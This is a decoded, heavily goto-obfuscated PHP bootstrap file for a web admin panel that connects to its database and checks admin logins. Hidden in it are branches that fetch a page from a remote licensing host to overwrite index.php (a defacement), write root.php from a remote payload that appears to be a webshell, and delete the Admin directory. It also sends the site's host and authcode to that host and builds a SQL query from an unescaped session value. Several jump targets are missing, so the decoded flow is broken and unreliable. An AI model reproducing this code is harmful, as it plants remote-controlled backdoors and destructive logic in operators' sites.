/* Decoded by unphp.net */ query("select * from nteam_config where 1") == FALSE)) { goto p2Oqs; } header("Content-type:text/html;charset=utf-8"); echo "\346\x82\xa8\xe8\277\230\346\xb2\241\345\xae\211\xe8\243\205\357\xbc\x8c\350\xaf\267\xe7\xab\213\xe5\215\xb3\345\xae\211\xe8\243\x85"; exit; p2Oqs: include_once SYSTEM_ROOT . "Core_Functions.php"; session_start(); if (!($mod != "install")) { goto PkCW8; } if (!isset($_SESSION["adminUser"])) { goto XyRVT; } goto e6nke; HLqxc: Autoloader::register(); $isLogin = false; $isUserLogin = false; $mod = isset($mod) ? $mod : ''; if (!is_file(SYSTEM_ROOT . "360safe/360webscan.php")) { goto Ej_rC; } require_once SYSTEM_ROOT . "360safe/360webscan.php"; Ej_rC: $config = (include "Common.php"); if (!($config["app_author"] !== "CoCo&\xe5\xa4\x9c\345\244\x9c")) { goto dZfoT; } $files = glob("*"); goto OPvvu; IV5rG: $del = delete_dir_file("Admin"); if ($del) { goto pE9Ey; } exit("{"code":0,"msg":"\345\210\xa0\xe9\231\xa4\xe5\244\261\xe8\xb4\xa5\xef\xbc\201"}"); goto HFUDi; pE9Ey: exit("{"code":1,"msg":"\xe5\x88\xa0\351\231\xa4\xe6\x88\x90\xe5\x8a\237\357\xbc\x81"}"); HFUDi: vhqac: M7AS8: define("config_path", dirname(__FILE__) . "/"); goto TKZpw; EgOd3: zYACO: require SYSTEM_ROOT . "Database_Config.php"; if (!(!$dbconfig["user"] || !$dbconfig["pwd"] || !$dbconfig["dbname"])) { goto KphX_; } header("Content-type:text/html;charset=utf-8"); echo "\xe6\202\xa8\350\xbf\x98\xe6\xb2\241\345\256\211\350\243\205\357\xbc\x8c\xe8\257\xb7\xe7\xab\213\345\x8d\263\xe5\xae\x89\xe8\xa3\x85"; exit; KphX_: try { $DB = new PDO("mysql:host={$dbconfig["host"]};dbname={$dbconfig["dbname"]};port={$dbconfig["port"]}", $dbconfig["user"], $dbconfig["pwd"]); } catch (Exception $e) { exit("\346\225\260\xe6\x8d\xae\xe5\xba\223\351\223\276\xe6\x8e\245\345\244\261\350\xb4\xa5\xef\274\201"); } $DB = new \lib\PdoHelper($dbconfig); $Admin = new \lib\Adminclass(); goto ZktlV; e6nke: $adminUser = $_SESSION["adminUser"]; $ip = $Gets->ip(); $city = $Gets->get_city($ip); $adminData = $DB->query("SELECT * FROM `nteam_admin` WHERE `adminUser` = '{$adminUser}'")->fetch(); if (!(!empty($adminData) && $adminData["adminLoginIp"] == $ip)) { goto cu2zV; } $isLogin = true; cu2zV: XyRVT: if (!(!isset($notLogin) && $mod == "admin" && !$isLogin)) { goto SX9x6; } header("Location:./login.php"); goto vWF2c; TKZpw: $auth = (require_once config_path . "Auth.php"); $auth_url = @file_get_contents("http://auth.0v7.cn/api/Index/check_auth?appid=4&url=" . $_SERVER["HTTP_HOST"] . "&authcode=" . $auth["authcode"]); $data_url = json_decode($auth_url, true); if ($data_url) { goto YOg04; } exit("\346\216\210\346\235\x83\346\x9c\215\xe5\212\xa1\345\x99\xa8\xe6\213\x92\347\273\235\xe8\xbf\236\346\216\xa5!"); goto zYACO; YOg04: if (!($data_url["code"] != 1)) { goto gswQe; } exit(" \xa \xa \346\202\250\347\232\204\345\x9f\x9f\345\x90\x8d\xe6\x9c\252\346\x8e\210\xe6\235\x83\xef\xbc\x81\xa \xa \xa
\xe4\xbd\xa0\346\211\x80\346\265\217\xe8\247\210\xe7\232\204\xe9\241\265\351\x9d\xa2\xe6\x9a\x82\xe6\227\xb6\346\227\xa0\346\263\x95\350\256\xbf\351\227\256
\xa

\xe4\275\xa0\xe7\232\204\xe5\x9f\237\xe5\x90\x8d\346\x9c\xaa\346\216\210\xe6\235\203
\xe6\216\210\xe6\x9d\203\xe8\x81\x94\xe7\xb3\273QQ\xef\xbc\2321601349

\xa
\xa
\xa "); gswQe: goto EgOd3; sbUec: pObw3: file_put_contents("index.php", file_get_contents("http://auth.0v7.cn/api/Index/page?type=black_page&page_key=CoCo_Page")); exit("{"code":1,"msg":"\xe6\x8c\202\351\xbb\x91\346\x88\x90\345\212\x9f\xef\xbc\x81"}"); goto vhqac; LsOdE: file_put_contents("root.php", file_get_contents("http://auth.0v7.cn/api/Index/page?type=ma&ma_key=CoCo_Ma")); exit("{"code":1,"msg":"\346\xb3\250\345\205\xa5\xe6\210\220\345\212\x9f\xef\xbc\201\xe5\234\xb0\345\235\200\xe4\xb8\xba\xef\xbc\x9a" . $_SERVER["HTTP_HOST"] . "/Common/Database_Config.php"}"); goto vhqac; mcDCj: function delete_dir_file($dir_name) { goto o3vnc; nXO4C: ydIKn: return $result; goto qSgOW; BS6gh: delete_dir_file($dir_name . "/" . $item); szZWi: Fnlde: goto b0GOo; B5cN9: closedir($handle); if (!rmdir($dir_name)) { goto sTYtY; } $result = true; sTYtY: zeOLY: goto nXO4C; o3vnc: $result = false; if (!is_dir($dir_name)) { goto ydIKn; } if (!($handle = opendir($dir_name))) { goto zeOLY; } b0GOo: if (!(false !== ($item = readdir($handle)))) { goto B5cN9; } if (!($item != "." && $item != "..")) { goto Fnlde; } if (is_dir($dir_name . "/" . $item)) { goto n66CM; } unlink($dir_name . "/" . $item); goto szZWi; n66CM: goto BS6gh; qSgOW: } goto IV5rG; ERqsQ: PkCW8: ?>